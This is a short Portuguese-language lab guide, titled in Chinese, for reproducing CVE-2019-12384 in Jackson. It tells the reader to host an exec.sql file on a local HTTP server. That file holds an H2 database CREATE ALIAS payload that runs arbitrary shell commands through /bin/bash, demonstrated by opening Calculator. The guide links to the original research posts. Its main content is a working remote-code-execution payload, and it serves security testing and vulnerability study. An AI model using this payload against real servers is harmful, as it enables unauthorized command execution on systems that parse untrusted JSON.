
CVE-2019-12384 漏洞测试环境
Importe o projeto para o IntelliJ IDEA, configure o Maven para importar automaticamente as dependências, depois crie o seguinte arquivo em um diretório web vazio local, salve como exec.sql. E inicie um servidor http:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
Observe que você deve modificar as partes correspondentes do código para se adaptar a diferentes sistemas operacionais.
Pode-se ver que a calculadora é aberta.
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html